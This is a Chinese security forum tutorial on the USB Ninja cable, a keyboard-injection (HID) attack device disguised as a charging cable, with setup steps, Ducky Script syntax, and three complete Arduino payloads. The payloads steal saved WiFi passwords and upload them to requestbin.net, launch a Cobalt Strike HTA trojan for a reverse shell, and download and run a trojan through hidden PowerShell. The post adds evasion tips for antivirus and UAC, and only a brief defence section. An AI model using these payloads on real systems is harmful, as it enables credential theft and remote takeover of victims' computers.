用户
搜索
  • TA的每日心情
    开心
    昨天 16:39
  • 签到天数: 4 天

    连续签到: 1 天

    [LV.2]偶尔看看

    i春秋-脚本小子

    Rank: 2

    4

    主题

    10

    帖子

    149

    魔法币
    收听
    0
    粉丝
    0
    注册时间
    2017-8-19
    发表于 2020-7-28 10:59:12 113773
    前言
    USB ninja翻译过来就是USB忍者,算是badusb的一种,属于HID攻击设备。在那之前我们先了解下什么是HID攻击
    HID攻击原理
    HID是Human Interface Device的缩写,由其名称可以了解HID设备是直接与人交互的设备。一般来讲针对HID的攻击主要集中在键盘鼠标上,因为只要控制了用户键盘,基本上就等于控制了用户的电脑。攻击者会把攻击隐藏在一个正常的鼠标键盘中,当用户将含有攻击向量的鼠标或键盘,插入电脑时,恶意代码会被加载并执行。简而言之,今天要介绍的usb ninja利用的是虚拟键盘来实现恶意代码的执行,而它与badusb不同的是,它把代码隐藏在数据线中,更具有迷惑性。
    介绍一下常见HID设备
    依次为:大黄鸭、树莓派zero W,WHID以及我们今天的主角儿usbninja




    设备介绍
    和无线电师傅冰尘py交易一波,拿到usbninja,到手之后,里面有以下几样东西
    1、数据线(我要了type-C的接口,因为现在手机主流都是type-C)
    2、外壳
    3、天线
    4、触发代码上传机制的磁铁
    5、主板


    电池介绍
    使用为LIR2032 3.7V可充电电池,而还有一种电池与它相似CR2032 3V一次性电池
    当我们的可充电电池寿命用尽时,请去五金店购买LIR2032,切记不要买错,因为给CR2032充电可能会发生爆炸(切记)


    组装没啥难度,直接把外壳用螺丝刀拧上就行了

    软件下载
    使用Arduino 进行编写代码,下载链接如下
    https://share.weiyun.com/5aNlfTg


    usbninja驱动程序
    https://usbninja.com/drivers_tools/USBninja_BOOT_driver.zip
    函数介绍
    Arduino IDE中使用的开发语言是C,一个程序在Arduino IDE中被成为 sketch,每个 sketch 都包含一个 setup 函数和一个 loop 函数。程序启动,首先调用 setup,这个函
    数只被调用一次,loop 函数会被不停的重复调用下去。
    软件设置
    点击文件,首选项,进行设置开发板管理器,调用此链接
    http://usbninja.com/arduino/package_USBNinja_index.json

    设置完成后,点击工具,开发板管理,进行加载管理器,需VPN,然后拉到最下面,有个USB ninja进行安装


    烧录时开发板选择USB Ninja cable(BLE+Hall sensor)

    语法介绍
    usbninja使用Ducky Script脚本,按键字符解释如下(呜呜呜,人哭了,复制过来不是整整齐齐的)
    GUI              windows菜单键
    WINDOWS          windows菜单键
    SHIFT            shift键
    ALT              Alt键
    CONTROL          Ctrl键
    CTRL             Ctrl键
    可进行组合,举例:
    KEY_LEFT_CTRL    左ctrl键
    KEY_LEFT_GUI     左win键,也代表command键
    KEY_CENTER_ARROW 确认键
    KEY_BACKSPACE    退格键

    DOWN_ARROW       下箭头
    DOWN             下箭头
    LEFT_ARROW       左箭头
    LEFT             左箭头
    RIGHT_ARROW      右箭头
    RIGHT            右箭头
    UP_ARROW         上箭头
    UP               上箭头
    BREAK            Pause键
    PAUSE            和上一个是一样的
    CAPS_LOCK        大写键
    DELETE           删除键
    END              END结束键
    ESC              键盘上左上角的键
    ESCAPE           键盘上左上角的键
    HOME             Home键
    INSERT           插入键
    NUMLOCK          键盘锁键
    PAGEUP           上翻页键
    PAGEDOWN         下翻页键
    PRINTSCREEN      屏幕截屏键
    SCROLLLOCK       Scrolllock(滚动锁定)键
    SPACE            空格键
    TAB              Tab键
    DELAY            延时
    DEFAULT_DELAY    延时
    DEFAULTDELAY     延时
    REPEAT           重复指令
    USBON            切换到Ninja的USB口,原本通道关闭
    USBOFF           切换至原来的USB口,关闭Ninja的USB通道
    CAPSLOCK ON      大写锁定,使用之后,保证电脑一直在大写锁定态
    CAPSLOCK OFF     大写锁定关,保证电脑在非大写锁定态
    PLUGAUTORUN      后面跟数字,下一次插入直接运行数字对应的SLOT里面存储的脚本
    MSCREAD          手动将ROM里面的数据加载到RAM,也就是挂载U盘操作
    MSCSAVE          手动将RAM里面的数据加载到ROM,也就是断开并保持U盘内容
    MSCWIPE          擦除ROM盘里面的数据
    MSCFORM          格式化ROM盘中的数据
    MSCONOFF         后跟参数0或者1,为1时U盘功能启动
    delay(5000);            //延迟5000ms也就是5秒
    Keyboard.begin()        //开始键盘通讯
    Keyboard.end()          //结束键盘通讯
    Keyboard.press();       //按下键盘按键 如果是非特殊按键如 数字、字母按键用单引号括起来
    Keyboard.release();     //释放键盘按键
    Keyboard.println("");   //输入字符串使用双引号括起来
    Keyboard.printin("");   //输入执行的命令
    Keyboard.sendKeyStroke();//组合按键
    Mouse.begin();          //鼠标事件开始
    Mouse.click();          //鼠标单击
    Mouse.end();            //鼠标事件结束
    Mouse.move();           //鼠标移动(x,y)
    Mouse.press();          //鼠标按下
    Mouse.release();        //鼠标松开
    Mouse.isPressed();      //检查鼠标当前的按键状态
    代码示例与演示
    PS:实际上只能写两个payload我这里为了方便直接贴在一起了
    [C] 纯文本查看 复制代码
    #include <NinjaKeyboard.h>
    
    void setup()
    {
      //SetRunOnce(PAYLOADA,true);
      //SetRunOnce(PAYLOADB,true);
      //If you want payload to run only once, run this function.  
    }
                    //
    void loop() {}
    
    
    /*
    When the Bluetooth remote control button A is pressed.
    The program in payloadA() will be executed in a loop.
    Until the button A is released.
    */
    
    
    void payloadA()
    {
    
        USBninjaOnline(); 
        NinjaKeyboard.begin(); 
        NinjaKeyboard.delay(1000);  
        NinjaKeyboard.sendKeyStroke(0);
        NinjaKeyboard.delay(1000); 
        NinjaKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT); 
        NinjaKeyboard.delay(200);
        NinjaKeyboard.print(F("cmd"));
        NinjaKeyboard.sendKeyStroke(KEY_ENTER); 
        NinjaKeyboard.delay(1000);
        NinjaKeyboard.println("netsh wlan export profile key=clear && type *.xml >666.txt && curl [url]http://requestbin.net/r/12zzzzz1[/url] -F file=@666.txt && exit");  //获取WIFI信息,平台使用的[url]http://requestbin.net[/url]相当于ceye平台数据外带
        NinjaKeyboard.sendKeyStroke(MOD_SHIFT_LEFT);      
        NinjaKeyboard.delay(100); 
        NinjaKeyboard.sendKeyStroke(KEY_ENTER); 
        NinjaKeyboard.delay(100); 
        NinjaKeyboard.sendKeyStroke(MOD_SHIFT_LEFT);      
        NinjaKeyboard.delay(100); 
        NinjaKeyboard.end();   
        USBninjaOffline();  
        NinjaKeyboard.begin();
    }
    
    void payloadB()
    {
        
        USBninjaOnline();
        NinjaKeyboard.begin();
        NinjaKeyboard.delay(1000);  
        NinjaKeyboard.sendKeyStroke(0);
        NinjaKeyboard.delay(1000);
        NinjaKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);   //按下win键+R键
        NinjaKeyboard.delay(100);  
        NinjaKeyboard.println("mshta.exe [url]http://127.0.0.1/1.hta[/url]");       //运行CS木马反弹shell
        NinjaKeyboard.sendKeyStroke(MOD_SHIFT_LEFT);      
        NinjaKeyboard.delay(100);
        NinjaKeyboard.sendKeyStroke(KEY_ENTER);    //回车
        NinjaKeyboard.delay(100);
        NinjaKeyboard.sendKeyStroke(KEY_ENTER);
        NinjaKeyboard.delay(500);
        NinjaKeyboard.sendKeyStroke(MOD_SHIFT_LEFT);
        NinjaKeyboard.delay(100);
        NinjaKeyboard.end();   
        USBninjaOffline();  
        NinjaKeyboard.begin();
    }
    
    void payloadC()
    {
        
        USBninjaOnline();
        NinjaKeyboard.begin();
        NinjaKeyboard.delay(300);  
        NinjaKeyboard.sendKeyStroke(0);
        NinjaKeyboard.delay(1000);
        NinjaKeyboard.sendKeyStroke(KEY_R, KEY_LEFT_GUI);   //按下win键+R键
        NinjaKeyboard.delay(100);
        NinjaKeyboard.sendKeyStroke(KEY_CAPS_LOCK);
        NinjaKeyboard.delay(500);
        NinjaKeyboard.println("cmd /T:01 /K \"[url=home.php?mod=space&uid=46675]@echo[/url] off && mode con:COLS=15 LINES=1\""); 
        NinjaKeyboard.delay(500);
        NinjaKeyboard.sendKeyStroke(KEY_RETURN);
        NinjaKeyboard.delay(500);
        NinjaKeyboard.println("powershell");
        NinjaKeyboard.delay(500);
        NinjaKeyboard.println("$clnt = new-object system.net.webclient;");
        NinjaKeyboard.println("$url='http://101.xxx.xxx.xxx/SUSU.exe';"); //xxx 为你服务器 ip,susu 为生
        //成的木马文件(可以把名字命名成什么 360update 之类的)
        NinjaKeyboard.println("$file = 'd:\\SUSU.exe';"); //下载到目标存放文件的地址
        NinjaKeyboard.println("$clnt.downloadfile($url,$file);"); //用分段执行绕过进程防护
        NinjaKeyboard.delay(500);
        NinjaKeyboard.println("d:\\SUSU.exe"); //这里可以自行研究隐藏文件放到 D 盘,
        //因为 C 盘可能没权限。思路:可使用 attrib +h +s SUSU.exe 将文件隐藏
        NinjaKeyboard.println("exit");//退出当前窗口
        NinjaKeyboard.delay(3000);
        NinjaKeyboard.println("exit");
        NinjaKeyboard.sendKeyStroke(KEY_RETURN);
        NinjaKeyboard.sendKeyStroke(KEY_CAPS_LOCK);
        NinjaKeyboard.end();
        USBninjaOffline();  
        NinjaKeyboard.begin();//结束键盘通讯
    }


    验证完代码之后,进行上传,会提示插入数据线
    Please plug in the USBNinja device ...
    插入姿势

    录入代码完毕

    1、paylaodA
    获取WIFI信息,使用平台http://requestbin.net
    执行之后获得目标机的WIFI信息,在平台进行查看
    name为WIFI的名字
    protected为密码是否加密
    KeyMaterial为密码
    在测试的时候只发现一个明文密码,可正常连接该WIFI,其他都为加密密码。


    2、payloadB
    使用CS生成.hta结尾的木马

    按下A按钮,执行payloadB,反弹shell


    别问payloadB和C木马免不免杀,人已自闭,之前CS+veil生成的代码还是能过360、火绒的,现在厂商都摸透了,希望师傅们有好的免杀方法能带带弟弟
    payloadA和payloadB演示视频
    https://www.bilibili.com/video/BV1xT4y1u7kp/
    3、payloadC
    看代码,很好理解,以小窗模式打开cmd,分段执行命令下载木马,执行木马,退出
    不使用小窗,执行时的截图,看一眼,懂powershell的师傅就很好理解了


    能够过360的变形虫防护,但是由于木马不免杀,所以只能暂时这么演示一下了,大佬谅解

    演示视频

    http://tools.sunian.top/payloadC.mp4
    UAC绕过(badusb也可使用)
    看到好多师傅说用模拟点击进行绕过的,其实不用那么麻烦。
    直接可以使用Alt+y绕过UAC,在执行HID攻击时我们需要使用管理员的权限时可执行ctrl+shift+Enter。

    防御手段
    1、不使用未知来源的U盘,数据线等与电脑交互的设备。
    2、使用转接器,如下图所示

    如果有什么不对的地方请大佬指出!
    参考资料(喵神牛逼),因为引用了大量喵神的资料,所以还是看作者团判定是否原创
    https://mp.weixin.qq.com/s?__biz=MzUzMDA4NDMzNw==&mid=2247484563&idx=1&sn=b610aab533d0d358a2070bcc0234ce29&chksm=fa567c0dcd21f51b07f65c16d67a8ad363db920d645231c619c760f6b188a1234a6ad7c08e0a&mpshare=1&srcid=&sharer_sharetime=1581566627596&sharer_shareid=a5b768045f7d19c1b93e33150d2c888d&from=timeline&scene=2&subscene=1&clicktime=1581569433&enterid=1581569433&key=01c54b219d203ed397b59bb9521e88ab94e8b024fb213c38c08a176bacf223b24ceae9ee7a661cea258a28c344a0b1c0db629f8c8a18b6a79aedbe7ad1a46780f8b9fe93c4bb8604e5b3f842b5dbeee7&ascene=14&uin=MTQyNjU3NTk5NA%3D%3D&devicetype=Windows+10&version=62080079&lang=zh_CN&exportkey=AxU98BoRUDRpXwnvawEqW5g%3D&pass_ticket=CECvicBwGfJD05on3bptL%2FJvIJj1T3KttFIArkGloU6swpju4trTDdpAwPB1pcbe&winzoom=1







    想买硬件设备(大菠萝,PM3,变色龙)的可以找冰尘师傅!清仓大甩卖,原装正版!邮箱[email]FrostsaberX@outlook.com[/email]
    使用道具 举报 回复
    素念tql……
    使用道具 举报 回复
    膜拜硬件大佬
    使用道具 举报 回复
    这个高端了!
    使用道具 举报 回复
    发表于 2020-7-28 15:29:32
    大佬666
    使用道具 举报 回复
    发表于 2020-7-28 17:15:15
    膜一下
    使用道具 举报 回复
    J0o1ey 超级版主 培训/业务/联系Q547006660 秦 春秋文阁 春秋游侠 核心白帽 i春秋签约作者 幽默灌水王 积极活跃奖 白帽高手
    6#
    发表于 7 天前
    感谢分享
    有培训需求或是技术交流需求的朋友可以联系我~QQ547006660|交流群820783253|团队首页www.gcowsec.com|
    使用道具 举报 回复
    感谢分享!
    使用道具 举报 回复
    师傅很强
    使用道具 举报 回复
    我 爱 你
    使用道具 举报 回复
    师傅tql
    使用道具 举报 回复
    发新帖
    您需要登录后才可以回帖 登录 | 立即注册